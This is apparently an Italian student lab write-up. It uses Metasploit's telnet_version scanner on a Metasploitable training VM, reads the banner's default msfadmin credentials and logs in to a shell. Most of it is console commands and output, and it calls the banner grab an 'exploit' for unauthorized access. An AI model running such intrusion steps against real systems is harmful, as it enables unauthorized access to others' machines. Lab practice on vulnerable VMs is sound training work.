

EXPLOIT TELNET CON METASPLOIT

Questo exploit attacca il telnet di metasploit che ci permette l'accesso non autorizzato, cio ci consente di rubare dati, interrompere servizi o eseguire altre attività.

Per conseguire questo attacco usiamo MSFCONSOLE che ci permette di eseguire exploit alle diverse macchine.

```
msf6 > search telnet

==[ metasploit v6.3.40-dev ]==
+ -- ==[ 2370 exploits - 1229 auxiliary - 414 post ]==
+ -- ==[ 1391 payloads - 46 encoders - 11 nops ]==
+ -- ==[ 9 evasion ]==

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search telnet
```

Apriamo il servizio e cerchiamo i diversi metodi che abbiamo per attaccare il telnet

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                            |
|----------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                |
| RHOSTS   |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                  |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                    |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                           |
| USERNAME |                 | no       | The username to authenticate as                                                                        |



View the full module info with the info, or info -d command.
```

Dopo aver selezionato il modulo desiderato possiamo continuare a configurare

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOST 192.168.1.149
RHOST => 192.168.1.149
```

Aggiungiamo l'host.

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[*] 192.168.1.149:23 - 192.168.1.149:23 TELNET -
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
[*] 192.168.1.149:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > msfadmin
[*] Unknown command: msfadmin
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.149
[*] exec: telnet 192.168.1.149

Trying 192.168.1.149 ...
Connected to 192.168.1.149.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Nov 7 09:04:35 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

Dopo aver eseguito l'exploit possiamo accedere al sistema senza autorizzazione.